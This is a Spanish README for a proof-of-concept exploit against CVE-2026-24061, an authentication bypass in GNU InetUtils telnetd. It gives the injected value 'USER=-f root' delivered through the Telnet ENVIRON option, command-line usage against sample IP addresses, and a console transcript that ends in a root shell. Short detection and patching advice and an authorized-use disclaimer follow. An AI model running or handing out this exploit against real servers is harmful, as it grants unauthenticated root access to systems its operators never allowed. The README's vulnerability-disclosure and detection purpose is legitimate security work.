
Un exploit PoC para CVE-2026-24061 - Bypass de autenticación por inyección de argumentos en telnetd de GNU InetUtils
Las versiones 1.9.3 a 2.7 de GNU InetUtils son vulnerables a un bypass de autenticación remota en el servidor telnetd. El demonio telnetd no sanea adecuadamente la variable de entorno USER antes de pasarla como argumento de línea de comandos al programa login(1). Cuando un cliente telnet envía una variable de entorno USER que contiene banderas de línea de comandos (como -f root), telnetd pasa directamente este valor sin sanear al programa login. La utilidad login interpreta la bandera -f como una instrucción para omitir la autenticación, permitiendo a un atacante obtener acceso root no autorizado sin proporcionar credenciales.
Implementación Completa del Protocolo Telnet
DO, DONT, WILL y .WONTInyección Automática de Payload
ENVIRON manipulado con la inyección USER=-f root.Shell Interactivo
Gestión de Conexiones
Depuración Detallada
python3 exploit.py <objetivo> -p <puerto> [opciones]
| Argumento | Descripción |
|---|---|
target | Dirección IP o nombre de host del objetivo |
| Opción | Descripción |
|---|---|
-p, --port | Puerto objetivo (por defecto: 23) |
-v, --verbose | Habilita la salida de depuración detallada |
-t, --timeout | Tiempo de espera de conexión en segundos (por defecto: 5) |
-k, --keepalive | Intervalo de keepalive en segundos (por defecto: 30) |
-h, --help | Muestra el mensaje de ayuda |
python3 exploit.py 192.168.1.100
python3 exploit.py 192.168.1.100 -p 2323 -v
python3 exploit.py 10.0.0.5 -p 2323 -k 60 -t 10
Establecimiento de Conexión
Negociación de Protocolo
SGA, ECHO y ENVIRON).Entrega del Payload
WILL ENVIRON seguido del payload de subnegociación manipulado.Bypass de Autenticación
-f root se inyecta en login(1) para omitir las verificaciones de credenciales.Sesión Interactiva
El exploit aprovecha la opción Telnet ENVIRON (RFC 1572) para inyectar argumentos de línea de comandos en la variable de entorno USER.
Cuando telnetd pasa este valor sin sanear a login -f root, el programa login interpreta -f como una bandera que fuerza el bypass de autenticación, otorgando acceso root sin verificación de contraseña.
El script del exploit implementa:
WILL, WONT, DO, DONT)NOP de keepalive para mantener la estabilidad de la sesión$ python3 exploit.py 127.0.0.1 -p 2323
[!] Coded By: K3ysTr0K3R
[*] Telnet Authentication Bypass
[*] Connecting to 127.0.0.1:2323
[+] Connection established
[+] Exploit payload sent (19 bytes)
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
#
Los administradores de sistemas pueden detectar intentos de explotación monitoreando:
ENVIRON.USER que contienen -f u otras banderas de línea de comandos.Actualice a la versión 2.8 de GNU InetUtils o aplique el parche de seguridad oficial que sanea las variables de entorno antes de pasarlas a login(1).
Esta prueba de concepto está destinada únicamente a investigación de seguridad, validación de vulnerabilidades y entornos de pruebas autorizados. Úsela solo contra sistemas para los cuales tenga permiso explícito para realizar evaluaciones de seguridad.